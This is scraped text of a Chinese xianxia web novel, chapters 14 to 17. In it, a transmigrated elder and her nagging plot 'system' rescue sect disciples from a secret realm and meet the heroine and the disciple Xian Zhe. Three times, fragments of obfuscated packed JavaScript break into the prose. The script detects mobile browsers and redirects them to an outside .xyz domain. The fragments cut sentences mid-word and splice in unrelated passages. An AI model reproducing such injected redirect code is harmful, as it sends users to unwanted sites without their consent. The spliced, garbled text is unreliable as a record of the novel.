d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123886|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻跃下地，悄悄往岸边那个被祝临兰抛来的黑色圆球靠近。 黑色圆球看着很普通，周玉衍看不出什么名堂，又将视线移回到祝临兰身上。 祝临兰已经收起了小白瓶，正一手按在巨兽头顶，一手缓慢地拔她之前插在上面的剑，时不时还输送一点灵力在剑与血肉连接的地方。 这个过程持续的时间有些长，但祝临兰神情专注，面上并无一丝不耐，偶尔还轻轻拍摸几下巨兽的鳞片，状似安抚。 周玉衍有些看明白了：“女主似乎是在救这隐匿兽。” “我原先见她反应那么快，还以为她是蓄谋出击，但她对待这巨兽的动作很轻缓，就连拔剑也像是怕让它多受痛。” 周玉衍若有所思：“系统，去检测一下那个黑色圆球是什么。” 系统不情不愿地停下吐槽去开启检测程序：“是一种寄生兽，还未成体。按理说隐匿兽不会被这么弱小的寄生兽得手的。” 这时祝临兰正好拔出了剑，在隐匿兽摆动蛇体沉进湖泊前，她提着剑跃下兽顶，动作疾飒，身姿挺拔漂亮，落地后翻手震开剑上血水，收剑回鞘。 接着她朝这方走来，锋芒半分未敛。 周玉衍感慨道：“她的剑修得真好。” 话完她立刻掐诀施了个障眼法，隐匿了自己的踪迹。 祝临兰来到黑色圆球前，拿出一个木盒把它装了进去，起身朝着还荡着波纹的湖泊走去。 她将木盒放在水上，任由其飘远，然后伸手搅了搅湖水：“你感觉好些了吗？那黑色圆球我取出来了。” “给你敷了点我平时受伤用的药，不知道对你的效果怎么样。我先去找同门师姐了，秘境受你的影响合闭，我这么久没回去，她们会担心我出事的。” 祝临兰正要起身，湖泊波纹荡漾，木盒突然沉下湖面，接着一只巴掌大的小蛇从水中游了过来，吐着蛇信“嘶嘶”爬到她跟前。 祝临兰戳了戳它，笑道：“我知道你被寄生不好受，可你发个怒灵力波动太大了，我们只不过一群金丹期的弟子，受的影响也很大。” 小蛇爬上了她的手，蛇尾在她手心画了个咒法。 祝临兰惊讶万分：“你想跟我下血契？可你这类大妖现身的妖气太重，我没法帮你出秘境的。” 小蛇还在嘶嘶，祝临兰推脱几句，见蛇身缠上了她的手腕，她拎起蛇尾把小蛇扒拉开来，然后就着这个姿势一本正经地跟它讲道理。 周玉衍在一旁看得起了笑意：“有点像出门玩被‘蓄谋已久’的流浪小猫缠上。” “这就是女主在青云秘境收了只跟宠的剧情吧？一只蛇形的隐匿兽，自带隐匿天赋，旁人看着只会觉得是只普通跟宠。” 系统很纳闷：“隐匿兽哪里是普通跟宠？可原书这样写……” “难道女主并没有真正收服隐匿兽？”系统判断着，“后面的剧情从来没提过这只隐匿兽，肯定是它出了秘境跑掉了。” 周玉衍不置可否，只安静看着祝临兰。 她正是少年的年纪，浑身朝气清亮，锐意也初生，纵是盘着腿拎着只小蛇在“嘶嘶”声中自言自语，腰背也笔直，像一柄待出鞘的剑。 周玉衍想着，其实祝临兰与三年前还是有一些不一样的。 那时她刚刚筑基，或许因为年纪尚小，对于一些事情还并未明透。 但现在的祝临兰如定界之剑，眉宇中潜藏威势，笑意明朗，攀顶之心昭昭。 周玉衍笑起来：“系统，你完了，等着我跟女主颠覆你的原书剧本吧。” 15. 第 15 章 比系统恶毒的吐槽还先到的，是羡折冷得吓人的声音。 “仙尊轻功使得真好，这么大的丛林，我找遍了才找到您。” 周玉衍被这一句话冻得莫名心虚，循声回头。 羡折站在她后方不远处，同样掐诀施了障眼法，也隐匿起了自己的气息。 这方丛林枝繁叶茂，下伸的大片枝叶打下了大片的阴影，羡折身在其中，周玉衍只能看清他未融进阴影的小半张脸，眉眼深邃如渊。 羡折再次开口，声音中依旧带着他独有的那份冷意：“仙尊不是允了我跟随您？我不过一个眨眼，仙尊就不见了。” 周玉衍觉得这方丛林真是森森，实在不适合待上太久：“……事态紧急，没能顾得上。” 羡折没应话，朝她走前几步，树影从他面上抚过，日光重新打上来，他抬眼一望，显尽了皎澈灼华。 周玉衍心底低叹，这样的相貌却是个炮灰，真是可惜了。 “仙尊来此是为何？” 周玉衍闻言一愣，回头望了望还坐在岸边拎着小蛇的祝临兰，又返回来望了望离她没几步远的羡折，瞪起眼来——那么大个女主，这人难不成八百度近视加两百度散光？ 不应该吧？剑修诶！！ 而且女主那样锋锐的剑气，隐匿兽那样重的妖气，怎么可能感觉不到？ 羡折顺着她的目光看向湖泊：“湖面那方有什么不对吗？” 周玉衍顿住，神识一展，惊讶发现自己探查不到任何气息，不管是残留的剑气妖气还是血气，这方所有的气息都消散得干干净净。 系统：“隐匿兽在羡折找到附近时就把这一块儿的气息都藏住了。” “这天赋技能真适合杀人越货啊。”周玉衍感慨道。 “没什么，我只是来这探查的。”她问，“你一路过来可有什么发现？” “我找到仙尊前，在这片丛林中发现了一队同门弟子，有三人在之前秘境合闭的混乱中走散，其他弟子都还安好。”羡折说。 “他们还在丛林中寻人，我在那方留了灵力标记。” 周玉衍点点头：“走，先把他们带出去吧。” 羡折应下转身，周玉衍回头看了眼祝临兰，掐诀悄无声息地打了三道护阵进她体内。 系统没忍住：“你给女主护阵做什么？还打这么多道！你这是妨碍女主在苦难中成长！什么都让护阵挡了，那女主怎么受苦受痛磨砺坚韧品质？” “不是所有的伤痛都是她必须挨的，”周玉衍说，“原书中明明很多剧情都有其他的办法能够解决问题，为什么非要女主照你的说法九死一生破而后立？” 系统：“大女主文！都说了这是挥洒血汗的努力型女主！” 周玉衍：“大女主又不是挨捶的沙包袋。” “突破就必须得先掉进绝境？磨砺就必须得是伤身伤心才算磨砺？得道就非得要人濒临崩溃再恍然明悟？” 周玉衍言简意赅：“有病。” 她按掉系统的音量键，跟着带路的羡折飞跃在丛林上空，找到了那一队日月宗弟子。 二人刚一落地，立刻有几位弟子急急跑上前来。 “师兄！师兄回来了，有找到祝师妹吗？” “还有两位师弟，师兄找到他们了吗？” 羡折摇头：“秘境不稳，先送你们出秘境，我再去其他地方找找。” 凑上来的几位弟子一下子垮了脸，神色哀愁。 “早知……我就该跟祝师妹并肩走的，怎么能让她跟在我身后……”一位弟子双眼通红，几欲落泪。 “师姐别再内疚了，”另一位弟子安抚她，“谁能想到秘境突然灵力大乱，毕竟青云秘境一向安稳，纵是羡师兄那次，也没有……” 他突然止了话，眼神闪动着瞥了羡折好几眼，愧疚道歉：“抱歉，羡师兄，我……” 羡折打断他：“无事，出秘境要紧，我留下寻人。” 周玉衍好奇地从羡折身后凑上前来：“你们羡师兄那次秘境怎么了？也合闭了？与这次的秘境合闭有什么相似点吗？” 几位弟子这才发现羡折身后还有一人，纷纷惊讶地望向她。 周玉衍觉得这些弟子的神情颇有些古怪，问道：“怎么了？” “没、没什么，”之前道歉的那位弟子最先反应过来，答她，“只是惊奇羡师兄竟然愿意与谁同行……嗷！师姐你敲我做什么……” 说话的弟子十分委屈地摸摸脑袋，身侧他唤着师姐的弟子上前一步行礼道：“见过周长老，师弟无礼，还请见谅。周长老是来送我们出秘境的吗？” 周玉衍刚点了点头，面前的弟子就焦急问道：“周长老，您过来路上有没有看见我师妹？她束着发穿着墨色劲装，腰上别着一块颜色稍淡些的灰墨色玉牌，使剑，面貌……” “她叫祝临兰，是吗？”周玉衍和悦开口，“方才听你们提起姓祝的师妹，应该就是她？” 那位弟子眼睛一亮，欣喜若狂：“是！是！就是她！周长老找到她了？” 话完她探头想要朝周玉衍身后望，刚起了点势反应过来这般并不太礼貌，红着脸再次行礼：“周长老莫怪，祝师妹失踪一整日了，我实在着急。” 周玉衍温和地笑：“无事，且安心，我见着她了，她一切安好，在采灵草呢。这秘境现下状况稳定了一些，但稳妥起见，我还是先送你们出秘境，另外两位弟子我会去寻，莫要多忧，长老们也都在外边，不会看着任何一位弟子遇难。” “好，好，多谢周长老！”那位弟子明显松了口气，连连道谢。 周玉衍笑笑，拿出之前备好的飞行法器，示意羡折一起上去：“与你的同门一起出秘境？” 羡折定定看着她，摇头道：“我与仙尊一起寻人。” 周玉衍启动飞行法器，打了道护阵笼罩上去：“系统，懂事点，自动导航开好，把这些弟子安全送出去。” 她补充道：“老实干活。上面有我的灵力，我能感受到他们的状态。” 待系统启了程序，她才接上羡折刚才的话：“你为何要与我一起？又为何替我挡招？之前那驿报的事我当真不在意，你不用这样的。” 羡折似乎是没有想到她会问这个，有些怔愣。 周玉衍轻功跃起，看着羡折即刻回神跟来，笑道：“走吧，去寻人。” 二人沉默地穿梭在秘境上空，周玉衍听着系统播报着下方哪处有弟子、哪些长老进了秘境送出了哪些弟子、哪些弟子受了伤、秘境的状态如何…… 她循着系统定位又送了好几队弟子出秘境，偶尔碰上几位长老，拒绝了他们热切的同行邀请，看着他们目光惊疑地打量着她与羡折，也没做什么多余的解释。 直到羡折察觉到熟悉的功法气息，唤她：“仙尊，我感应到失散的那两位同门弟子了。” 周玉衍笑道：“舍得说话了？” 羡折耳尖微红，没去看她：“我……我一时没能想出该如何答仙尊方才的话。” 周玉衍轻叹：“我有这么吓人吗？” 羡折一愣：“不是，是我……” 他皱起眉，神情却无措：“我、我们先送弟子出秘境吧。” 周玉衍应声轻功落地，朝着不远处在包扎伤口的两位弟子走去，羡折立刻跟上。 还没等周玉衍走到那两位弟子的视野中，他们突然止了手上动作，扬声欣喜喊道：“我感应到咱们同源的功法气息了！是郑师姐吗？还是方师兄？太好了！这回我们终于安全了！” 待二人快步上前现出身影，那两位弟子欣喜的笑脸一僵，诧异到有些结巴：“羡、羡、羡师兄。” “还有这位、这位……是哪位师姐啊？” “是别家宗门的师姐，”周玉衍笑道，“别紧张，羡折是来寻你们送你们出秘境的。” 话完她对着羡折传音：“不必报我的身份。这两位小弟子应该是刚从有妖兽的地方逃离，有些太紧绷了，看见你这个大师兄都要吓死了，知道我是个长老怕是说不出话来了。” 羡折抿了抿唇，低低应是。 “日月宗其他弟子都已经出秘境了，我来寻你们，走吧，送你们出秘境。” 羡折拿出两个小药瓶，走上前：“带着的丹药都用完了？怎么撕外袍包扎伤口？” 那两位弟子回过了神，道谢接过羡折的丹药，急急吃下后才答话：“我们碰上一只巨蜥，它对血气极其敏感，循着我们伤口的血味一路追着我们。” “止血丹都用完了，也没有那种即刻起效的极品灵丹，我们好不容易才甩开它！得赶紧把伤口包扎了……羡师兄，你还有丹药带在身上吗？” 两位弟子惊讶地运转周天，几乎是异口同声地喊道：“羡师兄，你的丹药好生厉害！我身上伤即刻痊愈了！” “羡师兄还有这等丹药吗？秘境危险，我们……我们……” 羡折明白了他们的意思，沉默几息，还是伸手，打算去拿储物戒。 周玉衍迅速凑前，一把按下他的手，对着面前两位弟子笑道：“一点皮外伤，寻常的丹药就足够了，药力过多你们吸收不了。” 话完她对着羡折传音道：“嫌丹药多吗？这么浪费，极品品质的丹药啊！你这是重伤之人才该吃的丹药，给你自己留着。” 羡折被周玉衍压着手，整个人都僵住了，好半天才回话：“……仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123887|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊，您松手。” 周玉衍气打不过一处来：这是重点吗？这是重点吗！还真叫系统说对了，这小败家的，他自己以后还要被宗门人算计坎坷一生呢，省着点丹药用吧！ 周玉衍松开羡折，摆出师姐教训师弟的架势，虚点着面前两位弟子：“吃一颗也就罢了，多的药力虽说吸收不了，却也只是会散出体外，但要是贪多再吃一颗，当心被药力冲得经脉受损了。” 两位弟子惊疑不已：“丹药……丹药竟还有这种说法吗？” 周玉衍点头道：“我这也是听药谷长老说的，外边虽说没传过这类说法，但药谷长老这般说肯定是有道理的，或许只是出事的人比较少，才没有流传开来。” 那两位弟子面面相觑，然后小声说道：“我们可以不现在吃，秘境危险，下回遇上妖兽受伤了再吃。” 周玉衍静了几息，瞥了眼羡折，见他神色自若，微叹道：“修道也需修性修心。” 两位弟子吞吞吐吐：“这位师姐有所不知，我们宗内有长老说……羡师兄修行秘法，许多丹药都对他无用的。” 周玉衍眉头紧皱，正要开口，却听见有摩擦声由远及近，不过几息就已震耳。 一位弟子惊声尖叫：“是那巨蜥来了！” “它竟然又追上来了！” 与此同时羡折拔剑跃空，横剑挡下巨蜥从天而降的坠击。 巨蜥后撤几步，甩了甩长尾，越过羡折朝着两位弟子疾速一扑。 那两位弟子顿时吓得魂飞魄散，飞快运起轻功逃跑，巨蜥却穷追不舍。 “羡师兄！师兄救命啊！师兄——” 周玉衍抱臂站在原地，侧眼看向羡折，果然见他提剑追上。 周玉衍“啧”了一声，却也轻功跟上。 活菩萨！人家连吃带拿的，他还这么尽心！ “这巨蜥也是秘境的大妖之一，寻常来讲开了灵智的大妖不会随意致人重伤，让他们跑就行了，你别管太多。”周玉衍传音道。 羡折显然也清楚，挥剑仅作阻拦，并未刺伤巨蜥。 但巨蜥虽然动作受阻，却还是一直跟着那两位弟子。 “我知道了！是咱们的衣物上还有血迹！” 一位弟子大喊一声，迅速施了个清洁术，另一位弟子赶紧效仿，然而巨蜥还是紧跟着二人，时不时甩尾吐信企图将二人卷起，所幸都被羡折反应极快地挡下。 周玉衍在一旁看得无聊，琢磨着怎么才能把羡折劝走。 突然巨蜥再次跳起坠击，羡折聚灵轰出一掌，打断了它的起跳，巨蜥朝着羡折“嘶嘶”咆哮几声，长尾一甩逼他退后，紧接着一爪拍向那两位弟子。 两位弟子惊慌躲避，但巨蜥的速度太快，他们一人被利爪划破了后腿，一人被爪风震得吐了口血，纷纷倒在地上哀嚎。 巨蜥乘胜追击，又是一爪过去，周玉衍见这两位弟子真就将要重伤，立刻聚灵抬掌一击，将巨蜥打得后撤了数十尺，然而巨蜥利用长尾稳住身形后，又迅速朝着那两位弟子击去。 周玉衍皱眉，青云秘境的几只大妖都是开了灵智的，也清楚这秘境归宗门看管，年年都有许多宗门弟子进来历练，按理来说，它们最多也就追人玩玩，不会真致宗门弟子重伤。 不过，贪图妖兽身上的秘宝，所行过于恶劣，激怒了它们被一爪子拍成重伤——这样的事，倒也并不是从没出现过。 周玉衍打量着那两位弟子，在巨蜥拍出下一击时，散了掌中大半灵力，只将巨蜥打离了几步，然后高喊：“我的灵力快要耗空了！两位师弟，可是拿了什么不该拿的，激怒了这妖兽？” 两位弟子面上恐慌，却只顾尖叫逃窜，并没有答周玉衍的话。 巨蜥长尾一扫，眼看就要卷起二人，羡折飞身上前与它缠斗，但巨蜥狂躁，他又有留手，一时间落了下风，被利爪一划，割伤了半条手臂。 血腥味散开，巨蜥眼睫一张，竖瞳向羡折看去。 两位弟子哆哆嗦嗦：“羡师兄……羡师兄撑住啊……” 场间莫名静了一息，连巨蜥也没有动作，但它紧盯着羡折，像是转移了目标，随时待发。 羡折立刻聚灵，并指点上自己受伤的手臂，正要开口叫那两位弟子先走，却见他们二话不说拔腿就跑。 他微微愣了下，没有再开口，只静静看着他们跑远。 巨蜥还转着竖瞳细细打量面前的人，没有再朝着那两位弟子追去。 羡折垂眼看向自己渗血的白衣，面色稍稍显了点苍白。 周玉衍缓步走上前来，叹息声悠长：“——小道长，死道友不死贫道这事，修真界一天能演上好几出，你总不会没见过吧？” 16. 第 16 章 “本就该他们先走的。” 羡折抬头望来，“我身为师兄，自然是要留下为两位师弟断后的。” “被抛下，不难过？”周玉衍问。 羡折很平静：“对于他们来说，方才是危急时刻，谁能跑掉都是好的，不必留下来一起承伤。” 周玉衍觉得这时候就应该给羡折加个配音——他大喊着“快走，我来断后”，然后那两位弟子泪如雨下一步三回头说“不我们不能抛下你啊师兄”，接着羡折一道剑气硬是把他们推远，再转头迎敌—— 这剧情走向才能说跑一个好过死两个。 周玉衍看着羡折，有好一会儿没应声。 她本来觉得，原书中羡折这样绝对正派的配角，根本就是片面又刻板，哪有人一直被坑害还不带一点阴暗面呢？ 纵是最后舍身救世，也不会是真的多么有济世情怀，而是像他自己说的那样，他为了所修的道。 修士的一切行为都是为了修炼得道。 对于顶尖修士来说，道心破碎可比什么身受重伤严重多了，而飞升这种终极目标，不仅与修为境界挂钩，更需要一颗剔透道心。 哪怕身陨，修道讲究因果，说不定机缘一到，还能来世再战嘛。 但她现下对着羡折的眼睛，着实无言。 羡折分明并没有显出什么神情，目光却如泉清润，让周玉衍一刹觉得，这人就是个刻板的君子剑，连受尽磨难跌宕一生都好像只是为了应一句如琢如磨。 “我去寻他们，将他们送出秘境，”羡折说，“巨蜥开了灵智，我们与它无怨，它不会伤人。” 周玉衍侧头看向不远处的巨蜥，它还维持着蓄势的动作，竖瞳紧盯着羡折，似乎在判断辨认着什么，的确没有刚才那么躁动了。 羡折：“秘境珍宝，能者得之，只是那两位师弟应当用了点极端手段，我去问清楚，之后也会上报宗门的执法长老。” “你去吧，”周玉衍看了看羡折受伤的手臂，上面的血已经被灵力止住，她移开眼，“这秘境里大部分弟子都已经被送出去了，只剩几位不在队伍中的弟子。” “我们分头去寻，这样快一些。” 羡折顿了顿：“好。” 周玉衍即刻轻功跃起，朝着北面丛林飞去。 系统：“你怎么就这么走了！青云秘境的几个大妖浑身是宝，这巨蜥还失了本命内丹，大好的时机啊！快回去杀了它！” “而且羡折明显有问题，别一转头那巨蜥被他私吞了！”系统急道，“剧情锁解开了一部分，这青云秘境从前死掉的那只大妖就是被他杀的。” 周玉衍颇有些惊讶，但秘境中的许多事都来得意外，她倒是不觉得有什么：“他杀了就杀了吧，那些秘宝女主又不要，我拿着也没用。” 系统气极：“你拿着有用啊！把它身上的好东西带回去给男主用啊！” “我觉得他不需要，”周玉衍想到江以卓提起修炼时的眼神，“他应该是真想好好修炼的，不太像会依赖身外之物的人。” 系统苦口婆心：“秘宝就跟灵石一样，不嫌多，不用归不用，但是他身为男主，他得有啊！” “女主都不要这些秘宝，他要什么要？” 周玉衍一本正经地说，“而且修真世界，修炼为重，杀生多损我的功德啊，功德会影响修炼的。” 系统怒道：“你是反派！不需要功德！但是男主需要这些能进阶修为的秘宝！你们是师徒！你要尽力助男主修炼！” 周玉衍觉得十分有道理，懊恼道：“我确实应该尽力助他修炼——早上怎么就直接出门了，明明他已经成功踏进修炼路了，我应该留些修炼任务给他才对，比如练功五个时辰打坐两个时辰之类的。” 系统震惊：“练什么功五个时辰？？你是人啊？？！” 周玉衍严肃道：“我是他修炼路上的资本家。” 她轻功落地，穿过丛林：“女主这会儿应该已经跟隐匿兽达成共识了，送她出秘境才是现在最重要的事。” 系统还要掰扯，周玉衍先行开口：“别急，等会儿我就问问女主她是怎么修炼的，咱们照抄女主的修炼方法，一定尽快让男主提升修为。” “你放心吧，”周玉衍说，“重铸‘大男主’荣光，我辈义不容辞。” 系统气了个半死，“唰唰”翻着原书剧情，逐字逐句地解析着“好东西都给男主”“女主必须要吃很多不必要的苦”“按剧情做任务”的必要性。 周玉衍早就已经熟练掌握按下系统静音键的时机，平和地朝着前方不远处的祝临兰走去。 还没走上几步，视野里祝临兰猛地提剑回头，接着明显一愣，身上的势气也随之消散：“是……周长老？” 周玉衍点点头：“秘境出事，我来送弟子们出秘境。” “我方才将你的几位师姐还有其他同门都送出秘境了，走吧，此地没什么人了。” 祝临兰立刻行礼道：“多谢周长老。” “无事。”周玉衍走上前，余光一瞥看见了祝临兰袖口边缠着的小蛇。 祝临兰敏锐地察觉到了她的目光，解释道：“秘境历练时意外救下的一只小蛇，缠人得厉害，我就将它收做跟宠了。” 周玉衍心道这隐匿兽披的壳子还挺多，现在这副模样与之前完全不同。 祝临兰眼神微闪，试探道：“周长老可知它是什么蛇？我对这些灵兽不太了解，辨不出来。” 周玉衍抬眼对上祝临兰的眼睛——波澜不惊的一双眼，其中气韵实在干净，确是砥砺行路也坚定的人。 她笑道：“看模样像是树蝰，鳞片很漂亮。” 祝临兰神情微松：“原来是树蝰。” 周玉衍：“到了外面可要收好，虽说有解毒丹在，修士并不多担忧蛇毒，但蛇虫这类的跟宠难以收服，当心遭旁人觊觎。” 祝临兰微顿，应声道：“多谢周长老提醒。” 周玉衍正要拿出飞行法器，却发现祝临兰有些踌躇，她停下动作，问道：“一起御剑出去吗？” 祝临兰神情讶异，却是极快地应话：“好！” 周玉衍一笑，先行召剑跃上，祝临兰也即刻将剑一抛，轻跃踩剑。 二人在秘境上空御剑飞行，祝临兰问了问同门师姐的情况，在得知羡折也进了秘境后，惊讶道：“羡师兄竟然也来了？我记得他前不久才领了罚……” “执法堂那位师兄下手重，羡师兄身上伤还没好全，之前他御剑都很勉强的。” 周玉衍微微皱眉：“执法堂的寻常刑罚怎会致人重伤？” 祝临兰静了静，几息后回答道：“或许因为羡师兄是首席弟子，我们宗门内……有部分长老对待羡师兄很严苛，而执法堂行刑的几位师兄也是归上边的长老管的。” 她垂眼，面无表情：“倒不是要执法堂的师兄徇私留情，只是有些刑罚对于寻常弟子来说，还是太重了。” 周玉衍若有所思：看来日月宗对羡折的针对早就开始了。 她还以为，那些事是羡折的修为境界到了元婴期才开始，毕竟金丹期的弟子多不胜数，他没冒出头前，不会有人刻意“关照”寻常的小弟子。 不过对于羡折，她也并不算特别意外，毕竟炮灰总是格外惨烈的，总要饱受摧残榨干了最后一点价值才能灰飞烟灭。 但大概因为自己只是个看客，顶多为谁鸣个不平，真正要她设身处地感受对方的痛苦什么的，还是有些难度，尤其羡折那等性子，好像再痛都只会皱眉忍下，面上几乎不显任何。 周玉衍恨不得撰写一本《互联网卖惨大法》拍在羡折的脑门上。 “宗门内的许多法度，我并不太认同，”祝临兰侧头望来，“周长老，我听闻天云宗没有首席弟子的说法，那是不是也就没有这样严苛到过分的刑罚？” 她神色低迷：“我自拜入日月宗，由外门弟子升入内门，越往上越发现，法度难改。” “各宗门的法度不过由宗内几人制成，皆有自身不可取之处，”周玉衍说，“若是可以，早些提升修为境界，出宗门入江湖，历练一番后寻个清静地退隐，或是——” “重回宗门，谋事，夺位，建造新制度。” 周玉衍抬眼：“权位在手，从此往后……” 她笑起，看着祝临兰的眼睛，一字一句：“从此往后，唯我独尊，又有何不可？” 祝临兰怔愣了好一会儿，才轻轻开口：“……周长老所言，竟是比我原先的想法还要大胆。” “哪里是大胆，最多算是能者多劳嘛，”周玉衍懒散道，“多劳者自然该多得，不然活都是你干了，旁人却白捡你的功劳，那不是亏死了。” 系统检测到敏感词自动发出警告：“不可更改关键剧情，不可引导主要人物更改关键剧情。” 周玉衍早有所料：“你误会了系统，我这是刚熬夜背下的金句，只是振奋女主走剧情的动力而已。” 她话完又把自动弹出来的系统丢进了小黑屋，神色自若地继续御剑。 “周长老说得不错，”好一会儿过后，祝临兰像是回过了神，扬笑道，“确实，若是如此，我当真是亏死了。” 周玉衍很满意，适时开口问：“你寻常修炼是怎么安排的时间？我最近收了位徒弟，但我平日很少留意弟子们的修炼课程。” “你的剑势这般好，想来修炼得很是刻苦。” 祝临兰闻言认真道：“我寻常修炼不是按时辰安排的，毕竟也要去学塾修习，课程耗的时辰不定。” “所以我每日只要挥剑万次、吐纳调息万次、聚灵控灵万次就行了，其余的会根据当日所学调整加上。” 周玉衍有些懵，把系统从小黑屋里拉出来：“祝临兰她不是原书的女主吗？女主修炼……她这样修炼，没把自己累死吗？” 系统不屑道：“这才是努力成长型的女主！” 周玉衍：“……这是修真版牛马型社畜。” 她咽了咽口水，问祝临兰：“这些……也不好同时进行吧？一天的时间，还要完成学塾的课业，能修炼这么多吗？” 祝临兰点点头：“能的，大多数修士都有些修炼法宝，我也有的。外界一个时辰，法宝内三个时辰。这些修炼任务我一般都能完成的。” 周玉衍欲言又止：“虽然……但是……你这样的修炼方式……当心太过劳累，反而损伤根骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几位弟子声音瞬静，祝临兰有些迟疑地开口道：“是差不多两年前，天云宗……穆掌门审判您的时候……召集了许多宗门的人去听判决，我与几位师姐师兄那时就去过，所以……” 她慢慢止了话，周玉衍却明白了。 这不就是活脱脱的好事不出门坏事传千里嘛！ 周玉衍很哀伤，很泄气，与几人作别后，开始思考自己如今在各宗门众人之中是什么个名声。 她越想越觉得穆掌门是个笑面虎，判决就判决，毕竟灵果确实是她吃的，她也认了，但召集其他宗门的人来是做什么？逛一圈刑场给她丢鸡蛋？ 传音玉牌忽然闪烁，周玉衍接起，玉牌中传来江以卓低哑的声音，颇有些阴沉：“师尊去了何处？” 周玉衍揉揉耳朵，心道江以卓这男主的硬件条件真是没话说，这年纪这嗓音，真不知道该说是天赋异禀还是原书偏心。 “秘境救人去了，怎么了？” 江以卓的声音起了点笑意：“原来是意外的危急之事。” “我成功引气入体了，师尊，不止如此，我还突破筑基了。” 周玉衍立刻进入瞎扯模式：“嗯，我知道，我早上看你要突破了，怕影响你，离开时就没与你道别。” 江以卓难掩笑意：“师尊什么时候回来？我与昨日来登记的师兄去逛过宗门了，有其他长老给我排了学塾的课，师尊回来也看看吧？师尊之前不是说，要给我定修炼任务吗？” 周玉衍被他一口一个师尊喊得起了一身鸡皮疙瘩：“回来了回来了，马上回来了。这秘境也有许多天云宗的弟子，我先和穆掌门一起把他们送去执法堂登记。” 江以卓微顿，语气明显淡了些：“师尊还真是时时刻刻发着善心。” 周玉衍听笑了，她时刻牢记着pua话术：“可不是嘛，不然我能把你捡回来？” 江以卓那边没了声音，几息后他轻声道：“师尊忙完了，就回来教导弟子修炼吧。” 周玉衍敷衍地应下，挂断传音玉牌，跟穆掌门打了个招呼，犹豫了一会儿，还是召剑准备御剑先行回宗门。 其实她本来是想等羡折出秘境后，悄悄让系统给他开个挂的。 从祝临兰那里得知日月宗的刑罚严苛，加上她之前给羡折渡灵时，也探查到了他体内沉积的旧伤，她就想着不如让系统给他开个挂，领罚时少受些痛。 但羡折半天没出来，秘境外其他宗门的人也陆续跟随着长老们离开了此地。 还是……算了……等下次吧，省得旁人见着了又起闲话，而羡折又那般在意那些话。周玉衍心想。 她跃上剑身，御剑而起，浮空时似乎有道白影自她余光里匆匆掠过，然而周身景物即刻飞逝，灵力御剑的动作比她的回头快得多。 周玉衍微愣，却没有停下御剑。 * 羡折踏出秘境，正好看见一身白衣的周玉衍御剑而起，神情冷淡，姿态如仙，好似底下万物生灵都无法让她停驻多看一眼。 他收回眼，平静地将体内上涌的血气压下。 17. 第 17 章 周玉衍回到天云宗时，还在想着她之前吃灵果被罚的事。 但她那段时间的记忆其实很有些模糊，唯一清晰的是系统的冷嘲热讽，说她顶着个脆弱的凡躯我行我素，剧情任务怕是一辈子都完成不了。 周玉衍清楚得很，这就是系统拐着弯要她按它的方案做任务而已。 那时虽然有系统帮她屏蔽痛觉，但受刑的时间太长太长，而这些修仙宗门的刑场不知是用什么材料造的，简直就是个冰窖，她被冻得难受，又叫系统屏蔽了触觉。 后来法鞭将她打伤，浓重的血腥味浸了她全身，喉口被上涌的鲜血冲得呛咳时，她又叫系统屏蔽了嗅觉和味觉。 耳边嘈杂声乱得要命，她维持着垂头认错的姿势，视野里只有自己流淌在地面的血。 周玉衍无知无觉地受着刑，却并没有自己以为的那样放松。 或许是因为自己还没能真正融进这修真世界。周玉衍心想。 对于她来说，就连轻功飞行这类最基础的小法术，都跟翼装飞行这种极限运动差不多，只不过一个是修真界土著的家常便饭，一个是普通人的热爱与勇气。 只可惜都与她无关，她是被迫玩命。 周玉衍丝毫不怀疑，自己在天上轻功飞行时要是因为胆怯失了对灵力的控制，掉下来砸到地面上时也一定会直接摔进地府。 她看着自己流血吐血，听着耳边巨大的嗡鸣声，穿书后被她强硬压下的那些令人惊惧的时刻莫名冒了出来，让她很有些浑浑噩噩，只静静在原地，一步未动。 周玉衍太安静了，系统十分困惑，却还是照旧说着她该做什么不该做什么，说着原书世界法则如此，所有剧情都是合理的，女主男主的结局也都是合理的。 系统说她不必修炼，更不用多想，照着方案按部就班地做任务就行，说这是最好的一条路，说她要听话。 因为屏蔽了太多的感觉，周玉衍恍觉自己像个行尸走肉，她僵硬地伸手，想去按自己手腕的脉搏。 视野里一只血手搭在了另一只血手上时，她才想起系统屏蔽了触觉，她就算握着自己的手，也像在看不属于她的两只手在交叠。 周玉衍让系统解除了触觉屏蔽，一霎时被周身冷气冻得震颤，好一会儿才缓过来。 指节压在腕间，先感受到的是柔韧的皮肉。 柔软的，但也韧性的。 周玉衍心想，她根本就不脆弱。 或许因为触觉恢复，让她觉得自己的生气也复苏了一些，她摸到了骨头，肯定自己还长着血肉，并非死物。 周玉衍回忆着，似乎确实跟祝临兰说的一样，那天来了很多别的宗门的人。 好像有人为她说过几句话，好像行刑后众人散去时，她还拦了那人，好像她还跟那人胡乱说了许多话，只是更具体的她实在记不清。 但意识不清的人能说什么好话？大抵都是些夹杂愤恨的悲怨。 再后来她到崖边坐了很久，似乎那人也坐在她身旁。 是……谁呢？ “师尊。” 